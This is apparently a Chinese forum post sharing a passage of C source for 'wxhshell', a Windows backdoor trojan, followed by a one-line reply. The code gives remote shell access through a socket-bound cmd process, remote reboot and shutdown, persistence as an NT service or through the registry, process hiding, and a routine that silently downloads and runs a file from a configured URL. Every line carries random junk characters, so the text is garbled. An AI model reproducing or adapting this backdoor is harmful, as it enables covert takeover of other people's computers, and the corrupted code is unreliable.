  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _nSEp >]L  
  } q_[`PYT  
  else { at1 oxmy  
uuL(BUGt-  
    switch(cmd[0]) { +RnWeBXAT  
  ?8;WP&  
  // 帮助 <;cch6Z  
  case '?': { N,:G5WxW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~yA^6[a=  
    break; Dn#UcMO>W  
  } 3sDyB-\&  
  // 安装 nGur2}>n  
  case 'i': { O'QnfpQ*9  
    if(Install()) 12: Q`   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); </R@)_'  
    else A$L:,b(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Y4Sdj  
    break; _xnJfW_  
    } >ul&x!?@  
  // 卸载 6X$nZM|g,  
  case 'r': { {\|XuCF#  
    if(Uninstall()) fuWAw^&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w{N8Y ~O  
    else Pon0(:#1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V}Oz!  O  
    break; KIKIag#  
    } /+WC6&  
  // 显示 wxhshell 所在路径 %ofq  
  case 'p': { f"^t~q[VS  
    char svExeFile[MAX_PATH]; %4BQY>O)@  
    strcpy(svExeFile,"\n\r"); 3Q2NiYg3  
      strcat(svExeFile,ExeFile); @moaa}1  
        send(wsh,svExeFile,strlen(svExeFile),0); ch0cFF^]  
    break; f lt'~fe  
    } 4ywtE}mp  
  // 重启 4w]<1V  
  case 'b': { >t.PU.OM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K <WowU  
    if(Boot(REBOOT)) ,mz7!c9H^a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "hZ `^ "0b  
    else { 6j|~oMYP  
    closesocket(wsh); b{X.lz0  
    ExitThread(0); z]=Ks_7  
    } NdRE,HWd?$  
    break; JV+Uy$P!  
    } ;Rm';IW$  
  // 关机 v "[<pFj^  
  case 'd': { m}2hIhD9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "chf \ -!$  
    if(Boot(SHUTDOWN)) ^x_.3E3Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a FWTm,)  
    else { g;:3I\ L  
    closesocket(wsh); ^;?w<9Y  
    ExitThread(0); P$3!4D[  
    } L3j ~Ooo  
    break; 0 t/mLw&  
    } D%=&euB  
  // 获取shell ;6?,Yhk$h  
  case 's': { >4HB~9dKU  
    CmdShell(wsh); "j.Q*Hazg  
    closesocket(wsh); j J54<.D  
    ExitThread(0); ^E%NYq_2l<  
    break; mM_gOd  
  } .'2"83f  
  // 退出 |C,]-mJG  
  case 'x': { jP<6Q|5F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  }"q#"s  
    CloseIt(wsh); QX_![|=  
    break; f<R 3ND)  
    } b>d]= u  
  // 离开 aD~S~L!  
  case 'q': { 0XE(vc!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /Wdrpv-%,1  
    closesocket(wsh); nppSrj?  
    WSACleanup(); Svs&?B\}{6  
    exit(1); A}3E)Qo=G  
    break; R1.Yx?  
        } 8-smL^~%#  
  } H D,6  
  } #}8VUbJ  
OSom-?|w  
  // 提示信息 psS^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $-E<{   
} <Zh\6*3:ab  
  } ]*0t?'go'  
9>_VU"T  
  return; 8zwH^q[`r  
} f,BJb+0  
.li)k[] ts  
// shell模块句柄 ")fgQ3XZ  
int CmdShell(SOCKET sock) a &`^M  
{ g7eI;Tpv  
STARTUPINFO si; QEmktc1 7  
ZeroMemory(&si,sizeof(si)); E#kH>q@K`$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TETfRnm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qzk]9`i1:  
PROCESS_INFORMATION ProcessInfo; dO-Zj#%7z8  
char cmdline[]="cmd"; dtXtZ!g2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ .3Gb}B  
  return 0; (8em5  
} 9AD0|,g  
.0|_J|{  
// 自身启动模式 !'>#!S~h3  
int StartFromService(void) "{jVsih0  
{ d 5h x%M  
typedef struct ~{6}SXp4U  
{ )F0Q2P1I  
  DWORD ExitStatus; TdoH(( nY  
  DWORD PebBaseAddress; Fo]]j=  
  DWORD AffinityMask; }E)t,T>  
  DWORD BasePriority; Zh?n;n}  
  ULONG UniqueProcessId; vTp,j-^  
  ULONG InheritedFromUniqueProcessId; t V7{j'If  
}   PROCESS_BASIC_INFORMATION; "7?xaGh8  
1+tPd7U  
PROCNTQSIP NtQueryInformationProcess; 5)w;0{X!P  
4U[X-AIY&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aCBq}Xcn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HaOSFltf#  
Qk^}  
  HANDLE             hProcess; r&XxF >  
  PROCESS_BASIC_INFORMATION pbi; :vC+}.{p  
*mN8Qd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a$LoQ<f_  
  if(NULL == hInst ) return 0; TQ5kT?/{  
Q2!RFtXV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q%t _Epe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O@rZ ^Aa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vLCm,Bb2L  
dBW4%Zh  
  if (!NtQueryInformationProcess) return 0; \9} -5  
g#5t8w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tTJ$tx  
  if(!hProcess) return 0; < -Ax)zE  
@$wfE\_L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TI7)yxa=`  
W'Qy4bl7C  
  CloseHandle(hProcess); |@)jS.Bn  
}BCxAwD4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n$"B F\eM  
if(hProcess==NULL) return 0; y<y9'tx  
_Aw-{HE'  
HMODULE hMod; sWgzHj(c  
char procName[255]; /(i~Hpp  
unsigned long cbNeeded; iyMoLZ5  
-"xC\R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I>>X-}  
dp:5iuS  
  CloseHandle(hProcess); {|Fn<&G  
QRER[8]r$  
if(strstr(procName,"services")) return 1; // 以服务启动 K*"Fpx{M  
"+BuFhSLf  
  return 0; // 注册表启动 D\sh +}"  
} BagV\\#v4  
V>Nw2u!!  
// 主模块 1sfs!b&E  
int StartWxhshell(LPSTR lpCmdLine) ' PmBNT  
{ (HeIO  
  SOCKET wsl; :NWrbfz  
BOOL val=TRUE; {d,^tG}  
  int port=0; Km0P)Z  
  struct sockaddr_in door; ;{g>Z|  
A@w9_qo  
  if(wscfg.ws_autoins) Install(); v<?k$ e5  
+#g4Crb  
port=atoi(lpCmdLine); PMiG:bM  
sAP  YQ  
if(port<=0) port=wscfg.ws_port; e?dR'*-z  
t%Y}JKLR  
  WSADATA data; .~4DlT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4rNuAK`2  
[xPO'@Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hx@E,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W-vEh  
  door.sin_family = AF_INET; X""}]@B9z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jt&rOPL7  
  door.sin_port = htons(port); 4eS(dPI0  
X!]p8Q y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }4xz,oN  
closesocket(wsl); ~"vRH  
return 1; @]%c UjQ  
} Z`@< O%  
Pv3 e*I((  
  if(listen(wsl,2) == INVALID_SOCKET) { -O[9{`i]  
closesocket(wsl); W; ?'  
return 1; y1Yrf,E m=  
} h/#s\>)T  
  Wxhshell(wsl); ~ponYc.Y  
  WSACleanup(); 7p,!<X}%  
m?<5-"hz  
return 0; z%L\EP;o}  
1=Q3WMT  
} IZ+ZIR@}ci  
1$ {Cwb/F  
// 以NT服务方式启动 " G0HsXi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  <:`x> _  
{ ^g n7DiIPH  
DWORD   status = 0; u_ym=N57`  
  DWORD   specificError = 0xfffffff; -r6LndQs  
Jgf= yri  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gz"I=9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )Ft>X9$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d##'0yg   
  serviceStatus.dwWin32ExitCode     = 0; UmA'aq  
  serviceStatus.dwServiceSpecificExitCode = 0; C)0JcM  
  serviceStatus.dwCheckPoint       = 0; /;r k-I  
  serviceStatus.dwWaitHint       = 0; J(x42Q}*S  
7Ust7%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pkEqd"G  
  if (hServiceStatusHandle==0) return; OYNPZRu  
0p ZX_L'  
status = GetLastError(); _cXLQ)-  
  if (status!=NO_ERROR) w]Vd IS  
{ z T#j.v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ngQ]  
    serviceStatus.dwCheckPoint       = 0; !4!Y~7sI"\  
    serviceStatus.dwWaitHint       = 0; \Y}nehxG@  
    serviceStatus.dwWin32ExitCode     = status; nHmi%R7k  
    serviceStatus.dwServiceSpecificExitCode = specificError; RU GhhK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ptv=Bwg  
    return; 28PT1 9&  
  } t0gLz J  
 k/}E(_e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; POc-`]6 <F  
  serviceStatus.dwCheckPoint       = 0; Q:!.YSB  
  serviceStatus.dwWaitHint       = 0; -OV!56&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hKYA5]  
} JGKiVBN  
rz3!0P!"K  
// 处理NT服务事件,比如:启动、停止 )]C7+{ImC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I:%O`F  
{ Z,m;eCLG]  
switch(fdwControl) M `bEnu  
{ l*C(FPw4  
case SERVICE_CONTROL_STOP: ^ G(GjW8  
  serviceStatus.dwWin32ExitCode = 0; H0\5a|X-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YDr/Cw>J  
  serviceStatus.dwCheckPoint   = 0; gsp|?) ]x  
  serviceStatus.dwWaitHint     = 0; !<xeAo%8  
  { 6tg0=_c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QC*> qo  
  } q!+m, !M  
  return; rZv5>aEI  
case SERVICE_CONTROL_PAUSE: cA{zyq26  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L|[ 0&u!  
  break; geRD2`3;  
case SERVICE_CONTROL_CONTINUE: .I&]G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y!|* `FII  
  break; @I^LmB9*  
case SERVICE_CONTROL_INTERROGATE: <kr%ylhIu  
  break; nWAx!0G  
}; DU/WB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MH,vn</Uw  
} -hIDL'5u-I  
i''[ u  
// 标准应用程序主函数 2qD80W<1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a,sU-w!X'  
{ h&}XG\ioNA  
Dpa PRA)x  
// 获取操作系统版本 REvY`   
OsIsNt=GetOsVer(); Jr4^@]78o<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p%v+\T2r  
Rv T>{G~  
  // 从命令行安装 sOBy)vq?\  
  if(strpbrk(lpCmdLine,"iI")) Install(); (PmaVwF  
"e\:Cq>\  
  // 下载执行文件 jI(}CT`g  
if(wscfg.ws_downexe) { Zn`vL52_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^gpswhp 5  
  WinExec(wscfg.ws_filenam,SW_HIDE); *MFsq}\ $  
} K2glkGK  
_pv<_ Sm  
if(!OsIsNt) { D20n'>ddg  
// 如果时win9x,隐藏进程并且设置为注册表启动 E|jbbCZy2  
HideProc();  v NJ!d  
StartWxhshell(lpCmdLine); ta-kqt!'  
} 76rNs|z~  
else i|5K4Puu  
  if(StartFromService()) ^Fr82rJs  
  // 以服务方式启动 Dog Tj  
  StartServiceCtrlDispatcher(DispatchTable); 6R+m;'  
else $(ugnnJ*  
  // 普通方式启动 SBY  
  StartWxhshell(lpCmdLine); gL+8fX2G6  
\*0ow`|K  
return 0; eh-/,vmRa  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八